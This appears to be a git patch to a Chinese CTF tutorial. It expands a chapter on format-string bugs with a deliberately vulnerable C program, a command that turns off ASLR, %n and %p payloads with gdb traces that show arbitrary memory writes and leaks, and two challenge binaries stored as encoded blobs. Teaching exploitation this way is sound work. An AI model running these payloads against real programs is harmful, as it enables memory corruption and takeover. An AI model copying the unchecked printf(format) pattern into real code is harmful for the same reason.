From d761dc19fa7f90eef0497b26d75fabcbc662d51d Mon Sep 17 00:00:00 2001 From: firmianay Date: Tue, 12 Sep 2017 15:38:29 +0800 Subject: [PATCH] fix writeup --- doc/3.3.1_format_string.md | 246 ++++++++++++++++++++++++------------- doc/5.2_pin.md | 8 +- doc/6.4_writeup.md | 37 ++++-- src/Others/3.3.1_fmt_2.c | 9 ++ src/Pwn/3.3.1_goodlock_200 | Bin 0 -> 9032 bytes src/Pwn/3.3.1_pingme_200 | Bin 0 -> 3924 bytes 6 files changed, 199 insertions(+), 101 deletions(-) create mode 100644 src/Others/3.3.1_fmt_2.c create mode 100755 src/Pwn/3.3.1_goodlock_200 create mode 100755 src/Pwn/3.3.1_pingme_200 diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 10c0d9c..79939db 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -292,6 +292,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") 使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。 +下面的演示我们都使用下面的[源码](../src/Others/3.3.1_fmt_2.c): ```c #include void main() { @@ -303,7 +304,8 @@ void main() { printf("\n"); } ``` -``` +```text +# echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -m32 -fno-stack-protector -no-pie fmt.c ``` @@ -730,13 +732,13 @@ Continuing. void main() { int i; char str[] = "hello"; - + printf("%s %n\n", str, &i); printf("%d\n", i); } ``` ``` -$ ./a.out +$ ./a.out hello 6 ``` @@ -747,7 +749,7 @@ hello #include void main() { int i; - + printf("%10u%n\n", 1, &i); printf("%d\n", i); printf("%.50u%n\n", 1, &i); @@ -757,7 +759,7 @@ void main() { } ``` ``` -$ ./a.out +$ ./a.out 1 10 00000000000000000000000000000000000000000000000001 @@ -777,20 +779,20 @@ $ ./a.out 还是我们一开始的程序,我们尝试将 `arg2` 的值更改为任意值(比如 `0x00000020`,十进制 32),在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`,那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`,其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址,占 4 字节,`%08x%08x` 表示两个 8 字符宽的十六进制数,占 16 字节,`%012d` 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 `0xffffd538` 的地方(`0xffffd564`),`printf()` 就是通过这个地址找到被覆盖的内容的: ``` -$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text -$ gdb -q a.out +$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] -EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -806,12 +808,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) -0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") -0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -827,12 +829,12 @@ gdb-peda$ finish Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 [----------------------------------registers-----------------------------------] EAX: 0x20 (' ') -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x0 -EDX: 0xf7f98830 --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') EIP: 0x8048520 (: add esp,0x20) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -847,9 +849,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804852d : add esp,0x10 [------------------------------------stack-------------------------------------] 0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') -0004| 0xffffd534 --> 0x1 +0004| 0xffffd534 --> 0x1 0008| 0xffffd538 --> 0x20 (' ') -0012| 0xffffd53c --> 0xffffffff +0012| 0xffffd53c --> 0xffffffff 0016| 0xffffd540 --> 0xffffd55a ("ABCD") 0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -869,20 +871,20 @@ gdb-peda$ x/20x $esp #### 覆盖任意地址内存 也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`,开头的 `AA` 占两个字节,即将地址赋值为 `2`,中间是 `%15$n` 占 5 个字节,这里不是 `%13$n`,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`,详细输出如下: ``` -$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text -$ gdb -q a.out +$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] EAX: 0xffffd564 ("AA%15$nA8\325\377\377") -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -899,9 +901,9 @@ No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") 0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377") 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -918,13 +920,13 @@ gdb-peda$ x/20x $esp gdb-peda$ finish Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 [----------------------------------registers-----------------------------------] -EAX: 0x7 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x0 -EDX: 0xf7f98830 --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EAX: 0x7 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") EIP: 0x8048520 (: add esp,0x20) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -939,9 +941,9 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804852d : add esp,0x10 [------------------------------------stack-------------------------------------] 0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") -0004| 0xffffd534 --> 0x1 -0008| 0xffffd538 --> 0x2 -0012| 0xffffd53c --> 0xffffffff +0004| 0xffffd534 --> 0x1 +0008| 0xffffd538 --> 0x2 +0012| 0xffffd53c --> 0xffffffff 0016| 0xffffd540 --> 0xffffd55a ("ABCD") 0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377") 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -990,12 +992,12 @@ gdb-peda$ r AAAABBBBCCCCDDDD [----------------------------------registers-----------------------------------] EAX: 0xffffd564 ("AAAABBBBCCCCDDDD") -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -1012,9 +1014,9 @@ No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD") -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") 0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD") 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') @@ -1044,20 +1046,20 @@ $ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x ``` 其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 `hh`,所以只会保留一个字节 `0x78`(16+104=120 -> 0x56)、`0x56`(120+222=342 -> 0x0156 -> 56)、`0x34`(342+222=564 -> 0x0234 -> 0x34)、`0x12`(564+222=786 -> 0x312 -> 0x12)。执行结果如下: ``` -$ gdb -q a.out +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text Starting program: /home/firmy/Desktop/RE4B/a.out < text [----------------------------------registers-----------------------------------] -EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 +EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -1073,12 +1075,12 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) -0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 -0008| 0xffffd534 --> 0x1 -0012| 0xffffd538 --> 0x88888888 -0016| 0xffffd53c --> 0xffffffff +0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff 0020| 0xffffd540 --> 0xffffd55a ("ABCD") -0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -1093,14 +1095,14 @@ gdb-peda$ x/20x $esp gdb-peda$ finish Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 [----------------------------------registers-----------------------------------] -EAX: 0x312 -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x0 -EDX: 0xf7f98830 --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd5f8 --> 0x0 -ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 +EAX: 0x312 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 +ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 EIP: 0x8048520 (: add esp,0x20) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -1113,12 +1115,12 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x8048528 : call 0x8048370 0x804852d : add esp,0x10 [------------------------------------stack-------------------------------------] -0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 -0004| 0xffffd534 --> 0x1 -0008| 0xffffd538 --> 0x12345678 -0012| 0xffffd53c --> 0xffffffff +0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 +0004| 0xffffd534 --> 0x1 +0008| 0xffffd538 --> 0x12345678 +0012| 0xffffd53c --> 0xffffffff 0016| 0xffffd540 --> 0xffffd55a ("ABCD") -0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 +0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') 0028| 0xffffd54c --> 0x80484b0 (: add ebx,0x1b50) [------------------------------------------------------------------------------] @@ -1132,8 +1134,78 @@ gdb-peda$ x/20x $esp 0xffffd570: 0xffffd53b 0x34303125 0x33312563 0x6e686824 ``` +最后还得强调两点: +- 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同 +- 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址 + ## x86-64 中的格式化字符串漏洞 +在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 `RDI`、`RSI`、`RDX`、`RCX`、`R8` 和 `R9` 传递;而在 Windows 中,前四个参数通过 `RCX`、`RDX`、`R8` 和 `R9` 来传递。 + +还是上面的程序,但是这次我们把它编译成 64 位: +``` +gcc -fno-stack-protector -no-pie fmt.c +``` +使用 `AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` 作为输入: +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +RAX: 0x0 +RBX: 0x0 +RCX: 0xffffffff +RDX: 0x88888888 +RSI: 0x1 +RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>: push r15) +RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('') +RIP: 0x400648 (: call 0x4004e0 ) +R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD') +R9 : 0xa ('\n') +R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C') +R11: 0x246 +R12: 0x400500 (<_start>: xor ebp,ebp) +R13: 0x7fffffffe540 --> 0x1 +R14: 0x0 +R15: 0x0 +EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x40063d : mov r8,rdi + 0x400640 : mov rdi,rax + 0x400643 : mov eax,0x0 +=> 0x400648 : call 0x4004e0 + 0x40064d : mov edi,0xa + 0x400652 : call 0x4004d0 + 0x400657 : nop + 0x400658 : leave +Guessed arguments: +arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff +arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD') +[------------------------------------stack-------------------------------------] +0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('') +0008| 0x7fffffffe3c8 --> 0x4443 ('CD') +0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.") +0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.") +0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.") +0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.') +0056| 0x7fffffffe3f8 --> 0x1 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x0000000000400648 in main () +gdb-peda$ x/10g $rsp +0x7fffffffe3c0: 0x4241000000000000 0x0000000000004443 +0x7fffffffe3d0: 0x4141414141414141 0x70252e70252e7025 +0x7fffffffe3e0: 0x252e70252e70252e 0x2e70252e70252e70 +0x7fffffffe3f0: 0x00002e70252e7025 0x0000000000000001 +0x7fffffffe400: 0x0000000000f0b5ff 0x00000000000000c2 +gdb-peda$ c +Continuing. +AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e. +``` +可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。 ## CTF 中的格式化字符串漏洞 @@ -1322,6 +1394,10 @@ hacked! 这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。 - -# 扩展阅读 +## 扩展阅读 [Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html) + + +## 练习 +- [**pwn** - UIUCTF 2017 - goodluck - 200](../src/Pwn/3.3.1_goodluck_200) +- [**Pwn** - NJCTF 2017 - pingme - 200](../src/Pwn/3.3.1_pingme_200) diff --git a/doc/5.2_pin.md b/doc/5.2_pin.md index ce05731..d63ad4f 100644 --- a/doc/5.2_pin.md +++ b/doc/5.2_pin.md @@ -419,10 +419,10 @@ Count 152786 - [pintool2](https://github.com/sebastiendamaye/pintool2) #### 练习 -- [Baleful - picoCTF 2014](../src/Reverse/5.2_baleful) -- [Reverse 400 - Hack You 2014](../src/Reverse/5.2_reverse_400) -- [wyvern 500 - CSAW CTF 2015](../src/Reverse/5.2_wyvern_500) -- [rev100 - th3jackers CTF 2015](../src/Reverse/5.2_th3jackers_100) +- [**RE** - picoCTF 2014 - Baleful](../src/Reverse/5.2_baleful) +- [**RE** - Hack You 2014 - reverse - 400](../src/Reverse/5.2_reverse_400) +- [**RE** - CSAW CTF 2015 - wyvern - 500](../src/Reverse/5.2_wyvern_500) +- [**RE** - th3jackers CTF 2015 - rev100 - 100](../src/Reverse/5.2_th3jackers_100) ## 扩展:Triton diff --git a/doc/6.4_writeup.md b/doc/6.4_writeup.md index 12f0650..b5cc61d 100644 --- a/doc/6.4_writeup.md +++ b/doc/6.4_writeup.md @@ -30,6 +30,10 @@ - [3.1 Reverse]() - [3.2 Crypto]() - [3.3 Pwn]() + - [3.3.1 格式化字符串漏洞](#331-格式化字符串漏洞) + - [3.3.2 整数溢出]() + - [3.3.3 栈溢出]() + - [3.3.4 堆溢出]() - [3.4 Web]() - [3.5 Misc]() - [3.6 Mobile]() @@ -37,44 +41,53 @@ - [4.1 AWD模式]() - [4.2 Linux 命令行技巧]() - [4.3 GCC 堆栈保护技术]() + - [4.4 使用 DynELF 泄露函数地址]() - [五、高级篇]() - [5.1 Fuzz 测试]() - [5.2 Pin 动态二进制插桩](#52-Pin-动态二进制插桩) - [5.3 angr 二进制自动化分析]() - [5.4 反调试技术]() + - [5.5 符号执行]() + - [5.6 LLVM]() - [六、附录]() - [6.1 更多 Linux 工具](#61-更多-linux-工具) - [6.2 更多 Windows 工具]() +## 3.3.1 格式化字符串漏洞 +#### **pwn** - UIUCTF 2017 - goodluck - 200 + +#### **Pwn** - NJCTF 2017 - pingme - 200 + + ## 5.2 Pin 动态二进制插桩 -#### Baleful - picoCTF 2014 +#### **RE** - picoCTF 2014 - Baleful -#### Reverse 400 - Hack You 2014 +#### **RE** - Hack You 2014 - reverse - 400 -#### wyvern 500 - CSAW CTF 2015 +#### **RE** - CSAW CTF 2015 - wyvern - 500 -#### rev100 - th3jackers CTF 2015 +#### **RE** - th3jackers CTF 2015 - rev100 - 100 ## 6.1 更多 Linux 工具 #### Strings - strings_crackme ```text -[firmy@Reverse]$ strings -e L strings_crackme +$ strings -e L strings_crackme w0wgreat ``` -#### Strings - flag_pwnablekr +#### **Pwn** - Strings - flag_pwnablekr ```text -[firmy@Reverse]$ ./flag_pwnablekr +$ ./flag_pwnablekr I will malloc() and strcpy the flag there. take it. -[firmy@Reverse]$ strings flag_pwnablekr | grep UPX +$ strings flag_pwnablekr | grep UPX UPX! $Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $ UPX! UPX! -[firmy@Reverse]$ upx -d flag_pwnablekr +$ upx -d flag_pwnablekr Ultimate Packer for eXecutables Copyright (C) 1996 - 2017 UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 @@ -82,19 +95,19 @@ UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 -------------------- ------ ----------- ----------- 883745 <- 335288 37.94% linux/amd64 flag_pwnablekr Unpacked 1 file. -[firmy@Reverse]$ strings flag_pwnablekr | grep -i upx +$ strings flag_pwnablekr | grep -i upx UPX...? sounds like a delivery service :) ``` #### xxd - xxd_crackme ```text -[firmy@Reverse]$ xxd -g1 xxd_crackme +$ xxd -g1 xxd_crackme ...... 00001020: 00 00 00 00 67 30 30 64 4a 30 42 21 00 00 00 00 ....g00dJ0B!.... ...... ``` ```text -[firmy@Reverse]$ strings -d xxd_crackme +$ strings -d xxd_crackme ...... g00dJ0B! ...... diff --git a/src/Others/3.3.1_fmt_2.c b/src/Others/3.3.1_fmt_2.c new file mode 100644 index 0000000..7a43bfb --- /dev/null +++ b/src/Others/3.3.1_fmt_2.c @@ -0,0 +1,9 @@ +#include +void main() { + char format[128]; + int arg1 = 1, arg2 = 0x88888888, arg3 = -1; + char arg4[10] = "ABCD"; + scanf("%s", format); + printf(format, arg1, arg2, arg3, arg4); + printf("\n"); +} diff --git a/src/Pwn/3.3.1_goodlock_200 b/src/Pwn/3.3.1_goodlock_200 new file mode 100755 index 0000000000000000000000000000000000000000..23b5d3307346fb1d6a829264c3b3ee7269291070 GIT binary patch literal 9032 zcmeHMeQaCR6~DIg;eI&|v^2DAecI>jauIX_F!$7-&e#q=_L-BPppG;2**yrfQ%qAea(5wlY{3Z6nz^_nl)u zzt|F*w0|aUm3Qv>-E+=8_tW>BJ`(8I=X5v(7pM59KyIo+m5})r;`DaO64or%303S6 z*NF;1%HdCyElAB8(`7Qv)J<|Opk?sa>@)skK<=`o!r$C&c?aBTP&Bzr-p3LNq(6455V zd5W@F4u5EbWqrNLi}k8mA=*eVQ`Wl&^w7^QTD&CKN&S_Ym&-Ihro@U{;<28l##`dy zx_B&+8Lk^{ZmMf)^re%&U2@!LA7%F+?27_W-s(dS7$bvqybfkI%&i z4(&btrtk4fzeagnO0fLyf(72@s^_{}BoJ4)d9m%s-A zSK!ZHa4g0A=`4YxY%%$o5_lWn)nc0%^mao{2;PSR)~OelrAb7i@l3j3M3aM&gwXX^ zI@!BtkDl%gC8A<5W26B~8=>A4dT;*;JsOI|#b7FyFrp%Dgp(OVM0?}ObVTUwhxERP z(F@{e8+B5KJ`jqb(Y}FXf)HKo?`Usn)pz-B%heilwOzj5;H4A(x#ZWZJ7I5_2gU(7 zu08M5t+Ci9+&K>twpsEnaf(0JH_!+>+;UJK4w2R3SB ze|Br*<(t+kLVJA1C|~@U1kbx?P1V)iPH0-)Sq9 V*n2@5jcag;gj!|G5r$oRXz^ z$^Q*`oQkCx$$x}APQlWY8L(7jSZ^{Ap97D;@B+CLe$6nE7;zpJ^B}E;M|G} z3~1TQ+PTF$HOB?*trcTS&e{gHR<#4{nEj95Q4Ri!Om!D1E+)XSV;9O-+=_5~Dtnq% z;0Hw;yHjM!FFgf%Ib)xo!s`67r3XL<>#&k)SQ{_fSqpAz*}!tc%qyp1(9_?8&*Cpv zR#yR>p9`GFVO-j-jR)qn?A+owG-O{L51iK~P6x{u#scRZV-KC*^6(#7U>jdz4ef&9Yg+cg^fMqQU0u8zTDjAxHs1A`>`HUYSG^=o z2WCefniWQs#HwCuD___fm^E&n{wa3z1KADQn=?&K0WkeCHk~v*c(c;<;8(y(kxPv^ z|DOi`FQO~&oY}cj zrodvKsY80CJ$t1+`*z2TIP-4p+~=;vpZ^X%8gu2s-G#ONnSa)aNsX4KdUoGHysK zMt?*>Oza#;i~EupC6q`HMN*OQUR;RvEg1tuLWVLF0@+3ge&KXr=X=P^`E(*tX*X{V0zym5^c%wk3fF1_=9L&@6Kn3hTTzx#B zUb-Cd_Zy4jfllEV_Byt2taP7sRC*D|ALe_(#!V%z-^4>TKUCzt6SDMd~_4O zjc5(Ew)s1o`H(I%q%h#n;xC3=$RDWX3lYPY+;wRNvj+trgv7#U@^uhCau*OZZ5!@~_t zzWPRAhve$4H^ssTRSVxp>>!=z`e7C@No;+i!*Psluh4)dRo%MqETOqzd@VP6*;ZzoxcbC{CCX3>pT%M=UPL<$u zT!?$cD4p*@yc!-PsuhxT7euhlMe(b1_kvZ)1;4(09~9zS1U{4P#U-wRyi75CYcBq? z>bL})Mmq0>__dElv_3AbI;T>sb?Ye(J^89-vS@`@zR@Uy%^)LWOk^P_meih6=MwM9jccC6| 